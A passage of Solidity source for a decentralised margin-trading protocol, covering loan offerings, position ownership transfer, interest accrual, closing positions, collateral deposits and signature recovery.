term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
return position;
}
function calculateEffectiveTimeElapsedForNewLender(
Position storage position,
uint256 timestamp
)
private
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = elapsed.div(period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function getValuesHash(
LoanOffering loanOffering
)
private
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked(
loanOffering.rates.maxAmount,
loanOffering.rates.minAmount,
loanOffering.rates.minHeldToken,
loanOffering.rates.lenderFee,
loanOffering.rates.takerFee,
loanOffering.expirationTimestamp,
loanOffering.salt,
loanOffering.callTimeLimit,
loanOffering.maxDuration,
loanOffering.rates.interestRate,
loanOffering.rates.interestPeriod
)
);
}
}
interface PayoutRecipient {
function receiveClosePositionPayout(
bytes32 positionId,
uint256 closeAmount,
address closer,
address positionOwner,
address heldToken,
uint256 payout,
uint256 totalHeldToken,
bool payoutInHeldToken
)
external
returns (bool);
}
interface CloseLoanDelegator {
function closeLoanOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
interface ClosePositionDelegator {
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
returns (address, uint256);
}
library ClosePositionShared {
using SafeMath for uint256;
struct CloseTx {
bytes32 positionId;
uint256 originalPrincipal;
uint256 closeAmount;
uint256 owedTokenOwed;
uint256 startingHeldTokenBalance;
uint256 availableHeldToken;
address payoutRecipient;
address owedToken;
address heldToken;
address positionOwner;
address positionLender;
address exchangeWrapper;
bool payoutInHeldToken;
}
function closePositionStateUpdate(
MarginState.State storage state,
CloseTx memory transaction
)
internal
{
if (transaction.closeAmount == transaction.originalPrincipal) {
MarginCommon.cleanupPosition(state, transaction.positionId);
} else {
assert(
transaction.originalPrincipal == state.positions[transaction.positionId].principal
);
state.positions[transaction.positionId].principal =
transaction.originalPrincipal.sub(transaction.closeAmount);
}
}
function sendTokensToPayoutRecipient(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
)
internal
returns (uint256)
{
uint256 payout;
if (transaction.payoutInHeldToken) {
payout = transaction.availableHeldToken.sub(buybackCostInHeldToken);
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.payoutRecipient,
payout
);
} else {
assert(transaction.exchangeWrapper != address(0));
payout = receivedOwedToken.sub(transaction.owedTokenOwed);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.payoutRecipient,
payout
);
}
if (AddressUtils.isContract(transaction.payoutRecipient)) {
require(
PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout(
transaction.positionId,
transaction.closeAmount,
msg.sender,
transaction.positionOwner,
transaction.heldToken,
payout,
transaction.availableHeldToken,
transaction.payoutInHeldToken
),
"ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent"
);
}
assert(
MarginCommon.getPositionBalanceImpl(state, transaction.positionId)
== transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken)
);
return payout;
}
function createCloseTx(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
internal
returns (CloseTx memory)
{
require(
payoutRecipient != address(0),
"ClosePositionShared#createCloseTx: Payout recipient cannot be 0"
);
require(
requestedAmount > 0,
"ClosePositionShared#createCloseTx: Requested close amount cannot be 0"
);
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 closeAmount = getApprovedAmount(
position,
positionId,
requestedAmount,
payoutRecipient,
isWithoutCounterparty
);
return parseCloseTx(
state,
position,
positionId,
closeAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
isWithoutCounterparty
);
}
function getApprovedAmount(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 requestedAmount,
address payoutRecipient,
bool requireLenderApproval
)
private
returns (uint256)
{
uint256 allowedAmount = Math.min256(requestedAmount, position.principal);
allowedAmount = closePositionOnBehalfOfRecurse(
position.owner,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
if (requireLenderApproval) {
allowedAmount = closeLoanOnBehalfOfRecurse(
position.lender,
msg.sender,
payoutRecipient,
positionId,
allowedAmount
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= position.principal);
assert(allowedAmount <= requestedAmount);
return allowedAmount;
}
function closePositionOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = ClosePositionDelegator(contractAddr).closeOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closePositionRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closePositionOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function closeLoanOnBehalfOfRecurse(
address contractAddr,
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 closeAmount
)
private
returns (uint256)
{
if (closer == contractAddr) {
return closeAmount;
}
(
address newContractAddr,
uint256 newCloseAmount
) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf(
closer,
payoutRecipient,
positionId,
closeAmount
);
require(
newCloseAmount <= closeAmount,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount"
);
require(
newCloseAmount > 0,
"ClosePositionShared#closeLoanRecurse: newCloseAmount is zero"
);
if (newContractAddr != contractAddr) {
closeLoanOnBehalfOfRecurse(
newContractAddr,
closer,
payoutRecipient,
positionId,
newCloseAmount
);
}
return newCloseAmount;
}
function parseCloseTx(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 closeAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bool isWithoutCounterparty
)
private
view
returns (CloseTx memory)
{
uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
uint256 availableHeldToken = MathHelpers.getPartialAmount(
closeAmount,
position.principal,
startingHeldTokenBalance
);
uint256 owedTokenOwed = 0;
if (!isWithoutCounterparty) {
owedTokenOwed = MarginCommon.calculateOwedAmount(
position,
closeAmount,
block.timestamp
);
}
return CloseTx({
positionId: positionId,
originalPrincipal: position.principal,
closeAmount: closeAmount,
owedTokenOwed: owedTokenOwed,
startingHeldTokenBalance: startingHeldTokenBalance,
availableHeldToken: availableHeldToken,
payoutRecipient: payoutRecipient,
owedToken: position.owedToken,
heldToken: position.heldToken,
positionOwner: position.owner,
positionLender: position.lender,
exchangeWrapper: exchangeWrapper,
payoutInHeldToken: payoutInHeldToken
});
}
}
interface ExchangeWrapper {
function exchange(
address tradeOriginator,
address receiver,
address makerToken,
address takerToken,
uint256 requestedFillAmount,
bytes orderData
)
external
returns (uint256);
function getExchangeCost(
address makerToken,
address takerToken,
uint256 desiredMakerToken,
bytes orderData
)
external
view
returns (uint256);
}
library ClosePositionImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closePositionImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes memory orderData
)
public
returns (uint256, uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
false
);
(
uint256 buybackCostInHeldToken,
uint256 receivedOwedToken
) = returnOwedTokensToLender(
state,
transaction,
orderData
);
uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
buybackCostInHeldToken,
receivedOwedToken
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnClose(
transaction,
buybackCostInHeldToken,
payout
);
return (
transaction.closeAmount,
payout,
transaction.owedTokenOwed
);
}
function returnOwedTokensToLender(
MarginState.State storage state,
ClosePositionShared.CloseTx memory transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken = 0;
uint256 receivedOwedToken = 0;
uint256 lenderOwedToken = transaction.owedTokenOwed;
if (transaction.exchangeWrapper == address(0)) {
require(
transaction.payoutInHeldToken,
"ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken"
);
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
msg.sender,
transaction.positionLender,
lenderOwedToken
);
} else {
(buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken(
state,
transaction,
orderData
);
if (transaction.payoutInHeldToken) {
assert(receivedOwedToken >= lenderOwedToken);
lenderOwedToken = receivedOwedToken;
}
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.owedToken,
transaction.exchangeWrapper,
transaction.positionLender,
lenderOwedToken
);
}
state.totalOwedTokenRepaidToLender[transaction.positionId] =
state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken);
return (buybackCostInHeldToken, receivedOwedToken);
}
function buyBackOwedToken(
MarginState.State storage state,
ClosePositionShared.CloseTx transaction,
bytes memory orderData
)
private
returns (uint256, uint256)
{
uint256 buybackCostInHeldToken;
if (transaction.payoutInHeldToken) {
buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper)
.getExchangeCost(
transaction.owedToken,
transaction.heldToken,
transaction.owedTokenOwed,
orderData
);
require(
buybackCostInHeldToken <= transaction.availableHeldToken,
"ClosePositionImpl#buyBackOwedToken: Not enough available heldToken"
);
} else {
buybackCostInHeldToken = transaction.availableHeldToken;
}
Vault(state.VAULT).transferFromVault(
transaction.positionId,
transaction.heldToken,
transaction.exchangeWrapper,
buybackCostInHeldToken
);
uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.owedToken,
transaction.heldToken,
buybackCostInHeldToken,
orderData
);
require(
receivedOwedToken >= transaction.owedTokenOwed,
"ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken"
);
return (buybackCostInHeldToken, receivedOwedToken);
}
function logEventOnClose(
ClosePositionShared.CloseTx transaction,
uint256 buybackCostInHeldToken,
uint256 payout
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
transaction.owedTokenOwed,
payout,
buybackCostInHeldToken,
transaction.payoutInHeldToken
);
}
}
library CloseWithoutCounterpartyImpl {
using SafeMath for uint256;
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
function closeWithoutCounterpartyImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
public
returns (uint256, uint256)
{
ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
true
);
uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient(
state,
transaction,
0,
0
);
ClosePositionShared.closePositionStateUpdate(state, transaction);
logEventOnCloseWithoutCounterparty(transaction);
return (
transaction.closeAmount,
heldTokenPayout
);
}
function logEventOnCloseWithoutCounterparty(
ClosePositionShared.CloseTx transaction
)
private
{
emit PositionClosed(
transaction.positionId,
msg.sender,
transaction.payoutRecipient,
transaction.closeAmount,
transaction.originalPrincipal.sub(transaction.closeAmount),
0,
transaction.availableHeldToken,
0,
true
);
}
}
interface DepositCollateralDelegator {
function depositCollateralOnBehalfOf(
address depositor,
bytes32 positionId,
uint256 amount
)
external
returns (address);
}
library DepositCollateralImpl {
using SafeMath for uint256;
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
function depositCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 depositAmount
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
depositAmount > 0,
"DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0"
);
depositCollateralOnBehalfOfRecurse(
position.owner,
msg.sender,
positionId,
depositAmount
);
Vault(state.VAULT).transferToVault(
positionId,
position.heldToken,
msg.sender,
depositAmount
);
bool marginCallCanceled = false;
uint256 requiredDeposit = position.requiredDeposit;
if (position.callTimestamp > 0 && requiredDeposit > 0) {
if (depositAmount >= requiredDeposit) {
position.requiredDeposit = 0;
position.callTimestamp = 0;
marginCallCanceled = true;
} else {
position.requiredDeposit = position.requiredDeposit.sub(depositAmount);
}
}
emit AdditionalCollateralDeposited(
positionId,
depositAmount,
msg.sender
);
if (marginCallCanceled) {
emit MarginCallCanceled(
positionId,
position.lender,
msg.sender,
depositAmount
);
}
}
function depositCollateralOnBehalfOfRecurse(
address contractAddr,
address depositor,
bytes32 positionId,
uint256 amount
)
private
{
if (depositor == contractAddr) {
return;
}
address newContractAddr =
DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf(
depositor,
positionId,
amount
);
if (newContractAddr != contractAddr) {
depositCollateralOnBehalfOfRecurse(
newContractAddr,
depositor,
positionId,
amount
);
}
}
}
interface ForceRecoverCollateralDelegator {
function forceRecoverCollateralOnBehalfOf(
address recoverer,
bytes32 positionId,
address recipient
)
external
returns (address);
}
library ForceRecoverCollateralImpl {
using SafeMath for uint256;
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
function forceRecoverCollateralImpl(
MarginState.State storage state,
bytes32 positionId,
address recipient
)
public
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
(
position.callTimestamp > 0
&& block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit)
) || (
block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration)
),
"ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet"
);
forceRecoverCollateralOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
recipient
);
uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId);
Vault(state.VAULT).transferFromVault(
positionId,
position.heldToken,
recipient,
heldTokenRecovered
);
MarginCommon.cleanupPosition(
state,
positionId
);
emit CollateralForceRecovered(
positionId,
recipient,
heldTokenRecovered
);
return heldTokenRecovered;
}
function forceRecoverCollateralOnBehalfOfRecurse(
address contractAddr,
address recoverer,
bytes32 positionId,
address recipient
)
private
{
if (recoverer == contractAddr) {
return;
}
address newContractAddr =
ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf(
recoverer,
positionId,
recipient
);
if (newContractAddr != contractAddr) {
forceRecoverCollateralOnBehalfOfRecurse(
newContractAddr,
recoverer,
positionId,
recipient
);
}
}
}
library TypedSignature {
uint8 private constant SIGTYPE_INVALID = 0;
uint8 private constant SIGTYPE_ECRECOVER_DEC = 1;
uint8 private constant SIGTYPE_ECRECOVER_HEX = 2;
uint8 private constant SIGTYPE_UNSUPPORTED = 3;
bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20";
bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32";
function recover(
bytes32 hash,
bytes signatureWithType
)
internal
pure
returns (address)
{
require(
signatureWithType.length == 66,
"SignatureValidator#validateSignature: invalid signature length"
);
uint8 sigType = uint8(signatureWithType[0]);
require(
sigType > uint8(SIGTYPE_INVALID),
"SignatureValidator#validateSignature: invalid signature type"
);
require(
sigType < uint8(SIGTYPE_UNSUPPORTED),
"SignatureValidator#validateSignature: unsupported signature type"
);
uint8 v = uint8(signatureWithType[1]);
bytes32 r;
bytes32 s;
assembly {
r := mload(add(signatureWithType, 34))
s := mload(add(signatureWithType, 66))
}
bytes32 signedHash;
if (sigType == SIGTYPE_ECRECOVER_DEC) {
signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash));
} else {
assert(sigType == SIGTYPE_ECRECOVER_HEX);
signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash));
}
return ecrecover(
signedHash,
v,
r,
s
);
}
}
interface LoanOfferingVerifier {
function verifyLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
external
returns (address);
}
library BorrowShared {
using SafeMath for uint256;
struct Tx {
bytes32 positionId;
address owner;
uint256 principal;
uint256 lenderAmount;
MarginCommon.LoanOffering loanOffering;
address exchangeWrapper;
bool depositInHeldToken;
uint256 depositAmount;
uint256 collateralAmount;
uint256 heldTokenFromSell;
}
function validateTxPreSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
assert(transaction.lenderAmount >= transaction.principal);
require(
transaction.principal > 0,
"BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed"
);
if (transaction.loanOffering.taker != address(0)) {
require(
msg.sender == transaction.loanOffering.taker,
"BorrowShared#validateTxPreSell: Invalid loan offering taker"
);
}
if (transaction.loanOffering.positionOwner != address(0)) {
require(
transaction.owner == transaction.loanOffering.positionOwner,
"BorrowShared#validateTxPreSell: Invalid position owner"
);
}
if (AddressUtils.isContract(transaction.loanOffering.payer)) {
getConsentFromSmartContractLender(transaction);
} else {
require(
transaction.loanOffering.payer == TypedSignature.recover(
transaction.loanOffering.loanHash,
transaction.loanOffering.signature
),
"BorrowShared#validateTxPreSell: Invalid loan offering signature"
);
}
uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl(
state,
transaction.loanOffering.loanHash
);
require(
transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount,
"BorrowShared#validateTxPreSell: Loan offering does not have enough available"
);
require(
transaction.lenderAmount >= transaction.loanOffering.rates.minAmount,
"BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount"
);
require(
transaction.loanOffering.owedToken != transaction.loanOffering.heldToken,
"BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken"
);
require(
transaction.owner != address(0),
"BorrowShared#validateTxPreSell: Position owner cannot be 0"
);
require(
transaction.loanOffering.owner != address(0),
"BorrowShared#validateTxPreSell: Loan owner cannot be 0"
);
require(
transaction.loanOffering.expirationTimestamp > block.timestamp,
"BorrowShared#validateTxPreSell: Loan offering is expired"
);
require(
transaction.loanOffering.maxDuration > 0,
"BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration"
);
require(
transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration,
"BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration"
);
}
function doPostSell(
MarginState.State storage state,
Tx memory transaction
)
internal
{
validateTxPostSell(transaction);
transferLoanFees(state, transaction);
state.loanFills[transaction.loanOffering.loanHash] =
state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount);
}
function doSell(
MarginState.State storage state,
Tx transaction,
bytes orderData,
uint256 maxHeldTokenToBuy
)
internal
returns (uint256)
{
pullOwedTokensFromLender(state, transaction);
uint256 sellAmount = transaction.depositInHeldToken ?
transaction.lenderAmount :
transaction.lenderAmount.add(transaction.depositAmount);
uint256 heldTokenFromSell = Math.min256(
maxHeldTokenToBuy,
ExchangeWrapper(transaction.exchangeWrapper).exchange(
msg.sender,
state.TOKEN_PROXY,
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
sellAmount,
orderData
)
);
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
transaction.exchangeWrapper,
heldTokenFromSell
);
transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell);
return heldTokenFromSell;
}
function doDepositOwedToken(
MarginState.State storage state,
Tx transaction
)
internal
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
msg.sender,
transaction.exchangeWrapper,
transaction.depositAmount
);
}
function doDepositHeldToken(
MarginState.State storage state,
Tx transaction
)
internal
{
Vault(state.VAULT).transferToVault(
transaction.positionId,
transaction.loanOffering.heldToken,
msg.sender,
transaction.depositAmount
);
transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount);
}
function validateTxPostSell(
Tx transaction
)
private
pure
{
uint256 expectedCollateral = transaction.depositInHeldToken ?
transaction.heldTokenFromSell.add(transaction.depositAmount) :
transaction.heldTokenFromSell;
assert(transaction.collateralAmount == expectedCollateral);
uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.minHeldToken
);
require(
transaction.collateralAmount >= loanOfferingMinimumHeldToken,
"BorrowShared#validateTxPostSell: Loan offering minimum held token not met"
);
}
function getConsentFromSmartContractLender(
Tx transaction
)
private
{
verifyLoanOfferingRecurse(
transaction.loanOffering.payer,
getLoanOfferingAddresses(transaction),
getLoanOfferingValues256(transaction),
getLoanOfferingValues32(transaction),
transaction.positionId,
transaction.loanOffering.signature
);
}
function verifyLoanOfferingRecurse(
address contractAddr,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes32 positionId,
bytes signature
)
private
{
address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering(
addresses,
values256,
values32,
positionId,
signature
);
if (newContractAddr != contractAddr) {
verifyLoanOfferingRecurse(
newContractAddr,
addresses,
values256,
values32,
positionId,
signature
);
}
}
function pullOwedTokensFromLender(
MarginState.State storage state,
Tx transaction
)
private
{
TokenProxy(state.TOKEN_PROXY).transferTokens(
transaction.loanOffering.owedToken,
transaction.loanOffering.payer,
transaction.exchangeWrapper,
transaction.lenderAmount
);
}
function transferLoanFees(
MarginState.State storage state,
Tx transaction
)
private
{
if (transaction.loanOffering.feeRecipient == address(0)) {
return;
}
TokenProxy proxy = TokenProxy(state.TOKEN_PROXY);
uint256 lenderFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.lenderFee
);
uint256 takerFee = MathHelpers.getPartialAmount(
transaction.lenderAmount,
transaction.loanOffering.rates.maxAmount,
transaction.loanOffering.rates.takerFee
);
if (lenderFee > 0) {
proxy.transferTokens(
transaction.loanOffering.lenderFeeToken,
transaction.loanOffering.payer,
transaction.loanOffering.feeRecipient,
lenderFee
);
}
if (takerFee > 0) {
proxy.transferTokens(
transaction.loanOffering.takerFeeToken,
msg.sender,
transaction.loanOffering.feeRecipient,
takerFee
);
}
}
function getLoanOfferingAddresses(
Tx transaction
)
private
pure
returns (address[9])
{
return [
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.payer,
transaction.loanOffering.owner,
transaction.loanOffering.taker,
transaction.loanOffering.positionOwner,
transaction.loanOffering.feeRecipient,
transaction.loanOffering.lenderFeeToken,
